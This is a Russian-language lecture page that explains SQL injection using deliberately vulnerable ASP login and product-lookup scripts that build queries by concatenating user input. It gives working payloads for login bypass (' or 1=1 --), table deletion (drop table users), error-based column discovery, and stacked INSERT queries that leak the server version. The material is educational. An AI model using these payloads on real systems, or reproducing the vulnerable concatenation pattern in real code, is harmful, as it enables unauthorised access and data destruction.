Главная | Обратная связь
МегаЛекции

Что представляет собой атака SQL Injection?

SQL является базовым языком запросов современных баз данных. Он имеет много модификаций, большинство из которых базируются на стандарте SQL-92 ANSI. SQL-запрос содержит в себе одну или более SQL-команду, такую как SELECT, UPDATE или INSERT. Схема атаки SQL-injection показана на рисунке ниже.

Схема атаки SQL-injection (Microsoft Security Intelligence Report. Volume 8. July through December 2009)

 

Для запросов SELECT типичным является возврат некоторых данных, например:

SELECT * FROM Users WHERE userName = 'justin';

В приведенном SQL запросе фраза WHERE username = 'justin', означает, что нужны строки из таблицы Users, для которых поле userName содержит строку Justin.

Именно такие запросы позволяют реализовать атаки типа SQL injection. Из названия атаки следует, что злоумышленник вкладывает нечто в SQL запрос. Вложение некоторых неожиданных кодов позволяет манипулировать базой данных.

Одним из популярных способов контроля доступа к Web-сайту является снабжение его HTML формой, куда пользователь вводит свое имя и пароль. Примером реализации такой формы может быть следующий HTML код:

Начало формы

 

Username:

Password:

 

Конец формы

Когда содержимое формы передано серверу (выполнена операция submit), содержимое полей username и password передается, например скрипту login.asp, и становится доступным скрипту в рамках набора Request.Form. Простейшим способом проверки прав доступа конкретного пользователя является посылка соответствующего SQL запроса. Скрипт login.asp может иметь вид:

<% dim userName, password, query

dim conn, rS

userName = Request.Form("userName")

password = Request.Form("password")

set conn = server.createObject("ADODB.Connection")

set rs = server.createObject("ADODB.Recordset")

query = "select count(*) from users where userName='" &

userName & "' and userPass='" & password & "'"

conn.Open "Provider=SQLOLEDB; Data Source=(local);

Initial Catalog=myDB; User Id=sa; Password="

rs.activeConnection = conn

rs.open query

if not rs.eof then

response.write "Logged In"

else

response.write "Bad Credentials"

end if %>

В выше представленном примере пользователь получит уведомление "Logged In", если его параметры содержатся в базе данных, либо "Bad Credentials", если это не так.

Создадим базу данных пользователей с несколькими записями:

create database myDB

go

use myDB

go

create table users

( userId int identity(1,1) not null,

userName varchar(50) not null,

userPass varchar(20) not null )

insert into users(userName, userPass) values('john', 'doe')

insert into users(userName, userPass) values('admin', 'wwz04ff')

insert into users(userName, userPass) values('fsmith', 'mypassword')

Таким образом, если мы введем имя пользователя john и пароль doe, мы получим отклик "Logged In". Запрос при этом может иметь вид:

select count(*) from users where userName='john' and userPass='doe'

Но если ввести имя john и пароль ' or 1=1 --

Результирующий запрос приобретет форму:

select count(*) from users where userName='john' and userPass=''

or 1=1 --'

Такой запрос проверяет любого пользователя с полем имени john. Вместо проверки пароля, запрос ищет пустой пароль или выполнение условия 1=1. Это означает, что, если поле пароля пусто или 1 равна 1 (что всегда верно), тогда из таблицы пользователя будет выбрана соответствующая строка. Обратите внимание, что последняя кавычка закомментирована строчными разграничителем комментария (--). Это блокирует посылку ASP сообщения об ошибки из-за отсутствия закрывающей кавычки.

Скрипт login.asp, представленный выше, вернет одну строку и сообщение "Logged In". Можно проделать тоже самое с полем имени пользователя:

Username: ' or 1=1 ---

Password: [Empty]

Это приведет к формированию запроса:

select count(*) from users where userName='' or 1=1 --' and userPass=''

Этот запрос вернет число всех строк в таблице пользователей. Это является примером атаки SQL injection: добавление кода, который манипулирует содержанием запроса с целью получения нужного хакеру результата.

Другой популярный способ сверки имени пользователя по login-таблице и получения правильного имени из базы данных представлен ниже:

query = "select userName from users where userName='" &

userName & "' and userPass='" & password & "'"

conn.Open "Provider=SQLOLEDB; Data Source=(local);

Initial Catalog=myDB; User Id=sa; Password="

rs.activeConnection = conn

rs.open query

if not rs.eof then

response.write "Logged In As " & rs.fields(0).value

else

response.write "Bad Credentials"

end if

Итак, если мы введем имя пользователя john и пароль doe, то получим:

Logged In As john

Однако, если использовать в запросе другие параметры:

Username: ' or 1=1 ---

Password: [Anything]

Далее мы будем идентифицированы в качестве John, так как строка с именем John присутствует первой в списке:

insert into users(userName, userPass) values('john', 'doe')

insert into users(userName, userPass) values('admin', 'wwz04ff')

insert into users(userName, userPass) values('fsmith', 'mypassword')

Еще один сходный пример

SQL сервер, наряду с другими базами данных, разделяет запросы с помощью точки с запятой. Использование точки с запятой позволяет передать несколько запросов в одном блоке и исполнить их одновременно, например, запрос:

select 1; select 1+2; select 1+3;

...должен вернуть три набора записей. Первая будет содержать 1, вторая - 3, а третья - 4, и т.д. Таким образом, если вы вошли в систему со следующими параметрами доступа:

Username: ' or 1=1; drop table users; --

Password: [Anything]

Тогда запрос выполнит две вещи. Во-первых, будет выбрано поле userName для всех строк таблицы пользователей. Во-вторых, он сотрет таблицу пользователей, так что когда мы попытаемся войти в систему в следующий раз, то получим следующий сигнал ошибки:

Microsoft OLE DB Provider for SQL Server (0x80040E37)

Invalid object name 'users'.

/login.asp, line 16

Пример 2

Но, помимо проблем, описанных выше имеются и другие способы вторжения. Вам, вероятно, много раз приходилось заходить на сайты, которые торгуют автомобильными запасными частями или компьютерной техникой, например,:

www.mysite.com/products.asp?productId=2

Очевидно, что 2 является идентификатором конкретного объекта, и многие сайты формируют запросы, используя идентификатор productId в качестве переменной запроса, например,:

Select prodName from products where id = 2

Прежде чем мы продолжим, предположим, что у нас имеется следующая таблица на нашем SQL-сервере:

create table products

( id int identity(1,1) not null,

prodName varchar(50) not null, )

insert into products(prodName) values('Pink Hoola Hoop')

insert into products(prodName) values('Green Soccer Ball')

insert into products(prodName) values('Orange Rocking Chair')

Предположим также, что мы создаем следующий ASP-скрипт, и вызываем products.asp:

<%

dim prodId

prodId = Request.QueryString("productId")

set conn = server.createObject("ADODB.Connection")

set rs = server.createObject("ADODB.Recordset")

query = "select prodName from products where id = " & prodId

conn.Open "Provider=SQLOLEDB; Data Source=(local);

Initial Catalog=myDB; User Id=sa; Password="

rs.activeConnection = conn

rs.open query

if not rs.eof then

response.write "Got product " & rs.fields("prodName").value

else

response.write "No product found"

end if

%>

Итак, если заходим на products.asp со следующим URL:

http://localhost/products.asp?productId=1

... на нашем броузере мы увидим следующую строку текста:

Got product Pink Hoola Hoop

Заметим, что в данном случае product.asp присылает поле из набора записей, основываясь на имени этого поля:

response.write "Got product " & rs.fields("prodName").value

Это может показаться вполне безопасным, хотя таковым и не является, так как вы можете достаточно произвольно манипулировать базой данных. Заметим, что условие WHERE запроса использует числовой параметр:

query = "select prodName from products where id = " & prodId

Для того чтобы страница products.asp page функционировала корректно, нужно лишь передать числовой идентификатор продукта в качестве параметра запроса. Вообще говоря, это не слишком серьезная проблема. Рассмотрим обработку следующего URL products.asp:

http://localhost/products.asp?productId=0%20or%201=1

Примерно %20 URL кодируют символ пробела, так что в действительности URL выглядит как:

http://localhost/products.asp?productId=0 or 1=1

Когда обработка производится products.asp, запрос будет иметь вид:

select prodName from products where id = 0 or 1=1

Зная правила URL-кодирования, мы можем легко извлечь содержимое поля названия товарара из таблицы товаров:

http://localhost/products.asp?productId=0%20having%201=1

это вызовет следующее сообщение об ошибке в броузере:

Microsoft OLE DB Provider for SQL Server (0x80040E14)

Column 'products.prodName' is invalid in the select

list because it is not contained in an aggregate

function and there is no GROUP BY clause.

/products.asp, line 13

Теперь, мы можем взять содержимое поля имени товара (products.prodName) и осуществить следующий запрос:

http://localhost/products.asp?productId=0;insert%20into%20products

(prodName)%20values(left(@@version,50))

Этот запрос не использует кодирования пробелов:

http://localhost/products.asp?productId=0;insert into

products(prodName) values(left(@@version,50))

Вообще такой запрос пришлет оклик "No product found" (товар не найден), однако он выполнит операцию INSERT для таблицы товаров, добавив первые 50 символов переменной @@version SQL-сервера (эта переменная содержит данные о версии SQL-сервера и т.д.) в качестве новой записи в таблицу товаров.

В реальной ситуации вы можете модифицировать таблицу товаров произвольным образом, используя и другие поля таблицы.

Получение значения версии теперь становится простым делом, достаточно обратиться к products.asp со значение последнего ввода в таблицу товаров:

http://localhost/products.asp?productId=(select%20max(id)

%20from%20products)

Этот запрос берет ID последней введенной строки, используя функцию MAX SQL-сервера. В результате вы получите выдачу:

Got product Microsoft SQL Server 2000 - 8.00.534 (Intel X86)





©2015- 2017 megalektsii.ru Права всех материалов защищены законодательством РФ.